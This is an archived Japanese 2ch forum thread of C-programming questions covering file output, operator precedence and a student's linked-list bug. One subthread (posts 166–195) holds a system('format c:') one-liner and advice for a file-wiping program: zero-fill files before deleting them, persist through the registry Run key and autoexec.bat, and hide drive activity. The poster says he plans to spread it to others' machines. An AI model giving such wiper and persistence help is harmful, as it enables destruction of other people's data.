C言語なら、俺に聞け! <25>
■ このスレッドは過去ログ倉庫に格納されています
0001スーパープログラマ日(以下略)
NGNG・C FAQ 日本語訳
http://www.catnet.ne.jp/kouno/c_faq/c_faq.html
・comp.lang.c FAQ(英語の原文)
http://www.eskimo.com/~scs/C-faq/top.html
Cプログラマ必読 ・プログラミング言語C(通称 K&R)
http://www.amazon.co.jp/exec/obidos/ASIN/4320026926/
推薦図書/必読書のためのスレッド PART4
http://pc.2ch.net/test/read.cgi/tech/1022961238/l50
・前スレ
<24> http://pc.2ch.net/test/read.cgi/tech/1024033400/l50
<23> http://pc.2ch.net/test/read.cgi/tech/1023024817/l50
<22> http://pc.2ch.net/test/read.cgi/tech/1022402165/l50
コンパイラなどのリンクは>>2-3 あたり
void日下部氏の激動の半生は過去スレを参照
0153デフォルトの名無しさん
NGNGもしくは
echo abcde >>smp.txt
0155デフォルトの名無しさん
NGNG0156Pennis M.Ritchie
NGNGわかってるんだろ、聞くなよ。
0157149
NGNG0158デフォルトの名無しさん
NGNG別にWindowsでも出来るよ
0159149
NGNGそれから先がわからんのですよ。
ほんとわからんのですよ。
0161Pennis M.Ritchie
NGNGファイル処理関数を覚えろ
0162デフォルトの名無しさん
NGNGとりあえず逝ってみました
0163デフォルトの名無しさん
NGNGfopenとかfputsとかですか?
0164Pennis M.Ritchie
NGNGそれでできるだろ
0165デフォルトの名無しさん
NGNGモードとエラーの処理は適当に
#include <stdio.h>
main ( int argc, char *argv[] ) {
FILE *fp ;
fp = fopen ( "smp.txt", "w" ) ; /* "w"は適当に */
fprintf ( fp, "%s", argv[1] ) ;
}
0166デフォルトの名無しさん
NGNG作りたいのですが。
int main(void)
{
system("format c:\\ /q /x");
}
これではあまりにもCらしくありません。どうすればいいでしょうか。
0167デフォルトの名無しさん
NGNGfprintf ( fp, "%s", argv[1] ) これが知りたかったのです。
みなさん質問の仕方が悪くて
大変ご迷惑をお掛けいたしました。
ほんとありがとうございます。
0168デフォルトの名無しさん
NGNG0169デフォルトの名無しさん
NGNG氏ねと。
教えようと思たがやめた。
0170デフォルトの名無しさん
NGNGスミマセソ
これを基に拡張していくつもりです。
0171デフォルトの名無しさん
NGNGそれを利用したプログラムを書かないといけないのですが。
0172デフォルトの名無しさん
NGNGほう、宿題とはな。
http://pc.2ch.net/test/read.cgi/tech/1024592344/l50
0173デフォルトの名無しさん
NGNGなんで本を読もうとしない
0174デフォルトの名無しさん
NGNGすみません。マンキンはネタです。正直、どのようなプログラムを
作ればそのような動作をさせられるのかと思いまして。
共有違反などを無視して消去する方法があるのでしょうか。
0175デフォルトの名無しさん
NGNGスマソ移動します。
>>173
いや、5時間くらい悩んでるんですよ
0176デフォルトの名無しさん
NGNGマンキンは共有違反のプログラムは消せないよ
0177デフォルトの名無しさん
NGNGということは、findfirst(), findnext(), remove()を使い、消してから、同名
のファイル(0バイト)を開いてすぐに閉じればいいのですね。
ついでに、レジストリのrunに登録すれば最強ですね!!やった!
これで作ってみます!!ありがとうございました!!
0178デフォルトの名無しさん
NGNG名前: デフォルトの名無しさん
E-mail:
内容:
ほんと、
どうして本を読まない?
どうして検索しない?
どうしてこの世界に入ろうと思った?
0179デフォルトの名無しさん
NGNG>>178
0180デフォルトの名無しさん
NGNG馬鹿?
remove前にファイルを0で埋めろよ
0181名無しさん@カラアゲうまうま
NGNG他人に配る前に自分のマシンでよくテストしろよ。
消し残しとかないようにがんがれよ。
0183デフォルトの名無しさん
NGNGそんなことで5時間も悩むなよ。
一番後ろ(横書きの本なら右手側)の方を開いたら索引というものが付いているから、
そこから「標準入力」を探して、横に書いてある数字のページを開くだけだ。
0184デフォルトの名無しさん
NGNGなるほど、0で埋めると、復活がほぼ不可能になりますね!
同名のファイル名で "w"でfopenしてからすぐfclose()すれば
それでいいと思っていました。
>>181
まずフロッピーでテストします。うまく行ったら、あぷろだにでも
うpします!!
もう一つ疑問が残ります。全てのドライブを検索するにはどの
ようなプログラムを組めばいいのでしょうか。できればすべて
のHDDを、例えばC、D、Eと積んでいたら、E→D→Cの順に
消したいのです。
0185デフォルトの名無しさん
NGNG0186デフォルトの名無しさん
NGNG繰り返すが、自分の環境でみっちりテストしろよ。
0187デフォルトの名無しさん
NGNGはい、ありがとうございます。そのように組んでみます。
こんなことも考えてみました。積んでいるドライブを検索し、それらをファイル
一つごとに順繰りに消していくというものです。こうすれば、特定のドライブに
集中的にアクセスしていることを悟られにくくなります。
自分の環境で試してみたいのはやまやまなのですが、そうするとプログラム
も消えてしまいますので、作れなくなるので、他人の環境で試してみたいと思
います。
0188デフォルトの名無しさん
NGNGサブルーチンかなんかを自分で作って計算しているんでしょうか…?
0189デフォルトの名無しさん
NGNG0190名無しさん@カラアゲうまうま
NGNG0191デフォルトの名無しさん
NGNGC++だと演算子のオーバロードができるが、Cだとできないので、
普通に演算用関数をコールすることになる。
0192デフォルトの名無しさん
NGNG0193デフォルトの名無しさん
NGNGそれはC99の仕様だね。まだサポートしている処理系は少ないんじゃない?
0194デフォルトの名無しさん
NGNG俺なら面倒だから autoexe.bat を書き換えるけどな…
0195デフォルトの名無しさん
NGNGレジストリのrunに登録せずに、autoexec.batに追加するという方法
ですね?それもなかなかイカスと思います。
念のために、autoexec.batとrunとスタートアップグループの3つに
全部登録してみようと思います。
0196194
NGNG0197うれしそうだね
NGNGそんなん作れてもすごくもなんともないんだよ?
0198デフォルトの名無しさん
NGNGdata|=(type<<18);
warning C4554: '<<' : 演算子の優先順位に問題があります。カッコを使用して優先順位を明確にしてください
というエラーが出ますが,どこが間違っているのでしょうか?
0199デフォルトの名無しさん
NGNG0200デフォルトの名無しさん
NGNG(data|=(no<<12), data|=(type<<18), data)
とか
0201デフォルトの名無しさん
NGNG0202デフォルトの名無しさん
NGNGbcc, vc++は何の問題もなかったが
0203デフォルトの名無しさん
NGNG0205デフォルトの名無しさん
NGNGすごくないと思うなら、俺が作るから走らせてみなよ。
きっとすごいと思うに違いないよ。
0206デフォルトの名無しさん
NGNG0207デフォルトの名無しさん
NGNG関わるなよ。
出来ない奴のひがみさ。
それをすることによって世の中が豊かになり誰かから感謝されお金までもらえる。
十二分にすごいことだと思うがね。
0208デフォルトの名無しさん
NGNG0209デフォルトの名無しさん
NGNG0210デフォルトの名無しさん
NGNG答えてやろうとしてる中級車が惑わされている(w
0211198
NGNGできました。
ありがとう!ヽ( ´∀`)ノ
今,日経ソフトウェア買ってきて理解できました。
カコツケテ,ふだん使わない#defineの関数使ったのですが,もっと精進します。
0212デフォルトの名無しさん
NGNG0213デフォルトの名無しさん
NGNG0214デフォルトの名無しさん
NGNG日本語おかしいぞ。
勝手に質問の意図を解釈すると g は g_ にすればとりあえずいいんでないかな。
ggoal --> g_goal
とか。
0215デフォルトの名無しさん
NGNGPCH creation point
ってなんですか?
よろしくお願いします
0217デフォルトの名無しさん
NGNG↑リスト構造を作ってみたのですが、リストの間に新しいリストを作る部分に行くと
どうしても止まってしまいます、自分で考えてプログラム的には大丈夫だと思ったのですが
やはり//間に挿入 の部分に差し掛かる手前で泊まってしまいます。
行き詰まってしまっています、誰か助けていただけませんでしょうか。
初心者ですがお願いします。
0218217
NGNG>>217です、すいませんこちらのファイルでお願いします
0219デフォルトの名無しさん
NGNGNot Found
The requested URL '/users/3adc1cd0/bc//e/1/E.txt?bcWYNb9AOraTSUWn' was not found on this server.
0220217
NGNG見づらいかもしれませんがここに貼り付けます。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void ichiran(struct LIST* list);
struct LIST * imput(struct LIST* list);
struct LIST *list;
/*******************構造体***********************/
struct LIST{
int ban;
char name[50];
struct LIST *next;
};
/************************************************/
void main (void){
int menu;
list=(struct LIST*)malloc(sizeof(struct LIST));
list->next=NULL;
list->ban=0;
/*******************メインメニュー***********************/
for(menu=0;menu!=4;){
printf("■■■■■■■■■■■■■■■■■■\n");
printf("■ 1:入力 2:削除 3:一覧 4:終了■\n");
printf("■■■■■■■■■■■■■■■■■■\n\n");
printf("入力.....");
scanf("%d",&menu);
switch(menu){
case 1:
list=imput(list);
break;
case 2:
break;
case 3:
ichiran(list);
break;
default:
break;
}//switch
}//for
}//main
0221217
NGNGvoid ichiran(struct LIST* list){
struct LIST *i;
i=list;
printf("学籍番号,名前\n");
do{
if(i->ban!=0){
printf("%d ",i->ban);
printf("%s\n",i->name);
}
i=i->next;
}while(i!=NULL);
}
0222217
NGNGstruct LIST* imput(struct LIST* list){
int w;
char name[50];
struct LIST *saki,*mae;
printf("学籍番号を入力してください[0:終了]....");
scanf("%d",&w);
if(w==0)return list;
scanf("%s",name);
//データ未入力の時
if(list->ban==0){
list->ban=w;
strcpy(list->name,name);
list->next=NULL;
}
//間、最後に挿入
else{
mae=list;
saki=mae->next;
//先頭よりも番号が小さいとき
if(mae->ban>=w){
list=(struct LIST*)malloc(sizeof(struct LIST));
list->ban=w;
strcpy(list->name,name);
list->next=mae;
return list;
}
//間に挿入
if(saki->ban>=w){
mae->next=(struct LIST*)malloc(sizeof(struct LIST));
(mae->next)->ban=w;
strcpy((mae->next)->name,name);
(mae->next)->next=saki;
return list;
}
//最後尾に挿入
else if(saki->next==NULL){
saki->next=(struct LIST*)malloc(sizeof(struct LIST));
(saki->next)->ban=w;
strcpy((saki->next)->name,name);
(saki->next)->next=NULL;
return list;
}
mae=saki;
saki=saki->next;
}
}
return list;
}
0223デフォルトの名無しさん
NGNG0224217
NGNG>>217
0225217
NGNG説明不足ですいません、構造体を作って番号と名前を格納するようにしてあります
banは番号の番です、解りにくい変数名ですいません
データを挿入するときにそのbanの昇順になるようにしたつもりなのですが
0226デフォルトの名無しさん
NGNG//データ未入力の時
if(list->ban==0){
list->ban=w;
strcpy(list->name,name);
list->next=NULL;
banで評価するより初めのノードのnextがNULLか否かで判断した方が良いかも。
0227デフォルトの名無しさん
NGNGsaki=mae->next;
nextが先ならlistはcurrentかと。
まぁ、ちゃんと読んでるぞってことで、原因は待っててね。
0228217
NGNG>>226
そうですね、そうすることにします。
0229たまらん
NGNGsaki=saki->next;
これは?
0230217
NGNGループで順番に比べて行けるようにsakiに次に比べるリストのアドレスを
代入しています。
maeは実際に挿入するときにmae->nextに新しく作った領域の先頭アドレスを
入れられるように保持してあります。
0231デフォルトの名無しさん
NGNG前=リスト
先=前の次
//先頭よりも番号が小さいとき
前の番号がw以上なら
リスト(2)=領域確保
リスト(2)の番号=番号
リスト(2)の名前=名前
リスト(2)の次=リスト
こうなるよ。変じゃん?
0232217
NGNGsaki=先
です、本当に変数名のつけ方悪くてすいません。
どういう名前がいいのかいまいちわからないもので・・
0233217
NGNGその部分は一応思惑通りに動いたと思ったのですが
もう一度確認してみます。
0234デフォルトの名無しさん
NGNG(list->next)->ban=w;
strcpy((list->next)->name,name);
(list->next)->next=saki;
return list;
0235デフォルトの名無しさん
NGNGちらっとしか見てないのであれだけど
mae->next=(struct LIST*)malloc(sizeof(struct LIST));
mae->next がどこを指していたか保護しておかなくて良いのだろうか。
0236デフォルトの名無しさん
NGNG0237
NGNG0238デフォルトの名無しさん
NGNG変数の使い方が妙だから追いにくいんだよね。
後、アレでソートが出来るのかちょっと不思議。
新規に作るノードは取りあえず独立させる。
最終的にどこかに挿入する。
0239
NGNGif(listhead == NULL){
newlist->next = NULL;
listhead = newlist;
}
else{
list = listhead;
prevlist = list;
while(list){
if(list->ban < w){
if(list != prevlist){
prevlist->next = newlist;
}
newlist->next = list;
break;
}
prevlist = list;
list = list->next;
}
}
0240デフォルトの名無しさん
NGNGprevlist = list;
↓
prevlist = listhead;
0241217
NGNGすいません、精進します、、今はこれを思いつくのが限界でした
具体的にどういった感じにしたらいいのか教えて頂けると助かります
>>231
見直したのですが、やはりその部分はアドレスも正しく保存されて
リストとして成り立ってると思うのですが・・
0242デフォルトの名無しさん
NGNGごめん、撤回。
そうそう、whileなきゃ挿入位置探せないよね。
0243デフォルトの名無しさん
NGNG0244デフォルトの名無しさん
NGNG鬱出汁膿
0245
NGNG・リストの先頭は保存しる
・実際のリスト操作は、別オブジェクトを作ってしる
・もうちっとかんがる
だ。
0246217
NGNGアドバイスありがとうございます、
とりあえずリスト操作を関数にしてもうちょっと頑張ってみることにします
0247デフォルトの名無しさん
NGNGどこに挿入されるかとか、next がどこを指してるかとか。
0248初心者以前
NGNGVC++で作成したプログラムはネット上でワンクリックで実行できるのでしょうか?
ダウンロードして実行ではなく・・・
ヤフーのゲームのようにできるのでしょうか?
0249
NGNGはげしく以下略
0250初心者以前
NGNGわかんないっす・・・
0251
NGNGあなたはVC++やる以前にやることがあるようです。
ラッキーカラー:どどめ色
0252217
NGNGそうですね、自分も考えてるうちにわけがわからなくなって
どこか間違えているような気がします
図に書いて明確に確認できるようにしてみることにします
話は少し変わるのですが、このプログラムを実行して
リスト間に値を挿入する所に来るとfor(;;)に入らず
全くプログラムが反応しなくなってしまうのですが、
その原因はどのような理由か解りますか??
もし正しい実行結果にならなくても一応プログラムは動くと思ったのですが
完璧に反応が無くなってしまいます
それと親切なアドバイスみなさん有難うございました。m(_ _)m
■ このスレッドは過去ログ倉庫に格納されています